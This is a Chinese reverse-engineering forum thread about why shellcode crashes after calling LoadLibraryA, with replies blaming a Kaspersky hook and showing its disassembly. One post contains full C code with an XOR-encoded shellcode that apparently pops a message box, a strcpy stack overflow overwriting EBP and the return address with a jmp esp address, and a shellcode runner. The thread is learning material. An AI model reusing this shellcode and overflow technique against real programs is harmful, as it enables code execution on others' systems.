能力值:
(RANK:350 )
|
-
-
2 楼
装了卡巴,LoadLibraryA被HOOK了
|
能力值:
( LV15,RANK:2473 )
在线值:

|
-
-
3 楼
7C883FC4 LoadLibraryA -E9 1830D935 JMP B2616FE1
7C883FC9 90 NOP
7C883FCA 90 NOP
7C883FCB 90 NOP
7C883FCC 90 NOP
7C883FCD 90 NOP
7C883FCE 90 NOP
7C883FCF 90 NOP
7C883FD0 90 NOP
7C883FD1 90 NOP
7C883FD2 90 NOP
7C883FD3 LoadLibraryExA -E9 7D31D935 JMP B2617155
|
能力值:
( LV9,RANK:290 )
|
-
-
4 楼
多谢两位大大回答!
那如果我的ShellCode里面要调用LoadLibraryA函数的话!
是不是在shellcode里面,调用LoadLibraryA函数前,要恢复ssdt表。
或者寻找真正的LoadLibraryA函数的地址,然后调用,这样就不需要恢复ssdt表
|
能力值:
( LV6,RANK:90 )
|
-
-
5 楼
你想错了,跟SSDT没关系。
注意这句
7C883FC4 LoadLibraryA -E9 1830D935 JMP B2616FE1
可以看出卡巴是通过异常来转到正确的代码执行的。SHIFT步过应该没问题的。
|
能力值:
( LV15,RANK:2473 )
在线值:

|
-
-
6 楼
应该是shellcode所在内存段没有E属性
|
能力值:
(RANK:650 )
|
-
-
7 楼
楼上顶一个月前的旧贴啊
|
能力值:
( LV15,RANK:2473 )
在线值:

|
-
-
8 楼
问题太难,想了一个月
|
能力值:
(RANK:1060 )
|
-
-
9 楼
一个月前有异常吗?
|
能力值:
( LV15,RANK:2473 )
在线值:

|
-
-
10 楼
一个月前我没有卡巴7
|
能力值:
( LV9,RANK:210 )
|
-
-
11 楼
卡巴?
key有着落了?
|
能力值:
( LV9,RANK:290 )
|
-
-
12 楼
嘿嘿
是在堆栈中的哈,
继续学习,
看看怎么恢复好点!
|
能力值:
( LV9,RANK:290 )
|
-
-
13 楼
回帖是一种美德
|
能力值:
(RANK:500 )
|
-
-
14 楼
我这个也是在执行LoadLibraryA后 就异常. 不装任何杀毒防火墙 都是异常.
#include <stdio.h>
#include <string.h>
char name[] =
"\xeb\x0e\x5b\x4b\x33\xc9\xb1\x9b\x80\x34\x0b\xfe\xe2\xfa\xeb\x05"
"\xe8\xed\xff\xff\xff\x17\x7b\xfe\xfe\xfe\xa1\x9a\x5f\xce\xfe\xfe"
"\xfe\x75\xbe\xf2\x75\x8e\xe2\x53\x75\x96\xf6\x75\x09\x94\xfc\xa7"
"\x16\xdb\xfe\xfe\xfe\x1c\x07\x96\xcd\xcc\xfe\xfe\x96\x8b\x8d\x9b"
"\x8c\xaa\x01\xe8\x75\x16\x94\xff\xa7\x16\xf2\xfe\xfe\xfe\x1c\x07"
"\xaf\xa9\xa9\xaf\x01\xa8\xf6\x01\xa8\xfa\xaf\xa8\x75\x8b\xc2\x75"
"\x8a\xd0\x86\xfd\x0b\xa8\x75\x88\xde\xfd\x0b\xcd\x37\xb7\xbf\x53"
"\xfd\x3b\xcd\x25\xf1\x40\xee\xc4\x28\x8a\xf6\x3f\x35\xf9\xfd\x24"
"\xbe\x15\x0f\xc5\xe1\x8b\x19\xa0\x75\xa0\xda\xfd\x23\x98\x75\xf2"
"\xb5\x75\xa0\xe2\xfd\x23\x75\xfa\x75\xfd\x3b\x55\xa0\xa7\x3d\x16"
"\x88\x01\x01\x01\xcc\x8a\x6f\xf2\x9d\x77\x2f\xb1\x94\xf4\xc6\xe0"
"\x68\x61\x70\x70\x79\x20\x66\x6F\x72\x20\x32\x30\x30\x37\x37\x41"
"\x41\x41\x41\x41" //覆盖EBP
"\x12\x45\xfa\x7f" //覆盖成jmp esp的地址,
"\xe9\x33\xff\xff\xff" //跳到shellcode头部
;
int main()
{
char output[192];
strcpy(output, name);
for(int i=0;i<192&&output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}
但是如果SHELLCODE 在数据段就可以正常执行弹出窗口.
也就是
#include<windows.h>
char ShellCode[]=
"\xeb\x0e\x5b\x4b\x33\xc9\xb1\x9b\x80\x34\x0b\xfe\xe2\xfa\xeb\x05"
"\xe8\xed\xff\xff\xff\x17\x7b\xfe\xfe\xfe\xa1\x9a\x5f\xce\xfe\xfe"
"\xfe\x75\xbe\xf2\x75\x8e\xe2\x53\x75\x96\xf6\x75\x09\x94\xfc\xa7"
"\x16\xdb\xfe\xfe\xfe\x1c\x07\x96\xcd\xcc\xfe\xfe\x96\x8b\x8d\x9b"
"\x8c\xaa\x01\xe8\x75\x16\x94\xff\xa7\x16\xf2\xfe\xfe\xfe\x1c\x07"
"\xaf\xa9\xa9\xaf\x01\xa8\xf6\x01\xa8\xfa\xaf\xa8\x75\x8b\xc2\x75"
"\x8a\xd0\x86\xfd\x0b\xa8\x75\x88\xde\xfd\x0b\xcd\x37\xb7\xbf\x53"
"\xfd\x3b\xcd\x25\xf1\x40\xee\xc4\x28\x8a\xf6\x3f\x35\xf9\xfd\x24"
"\xbe\x15\x0f\xc5\xe1\x8b\x19\xa0\x75\xa0\xda\xfd\x23\x98\x75\xf2"
"\xb5\x75\xa0\xe2\xfd\x23\x75\xfa\x75\xfd\x3b\x55\xa0\xa7\x3d\x16"
"\x88\x01\x01\x01\xcc\x8a\x6f\xf2\x9d\x77\x2f\xb1\x94\xf4\xc6\xe0"
"\x68\x61\x70\x70\x79\x20\x66\x6F\x72\x20\x32\x30\x30\x37\x37\x41";
int main()
{
( (void(*)(void)) &ShellCode)();
return 0;
}
我同学说是 不能往上跳 往上跳的话堆栈可能不被保护,
但是往下JMP ESP后直接执行SHELLCODE也不行 原因是堆栈不够大 装不下我的SHELLCODE
希望 牛牛们分析下
看如何使用我这段SHELLCODE能溢出成功 弹出那个可爱的窗口.
|
能力值:
(RANK:1060 )
|
-
-
15 楼
都跳到你了,你爱干啥干啥,还有不能跳的道理?
|
能力值:
(RANK:570 )
|
-
-
16 楼
原来被卡巴害惨的不止我一个。。。
卡巴那个LOADLIBRARY的钩子。。。貌似先改写函数,再写钩子代码。。。在大量建进程,DLL注入的条件下(重复100次),总有那么几个进程在钩子代码写到内存之前就跑到那里去了,产生无效地址异常。。。
|
|
|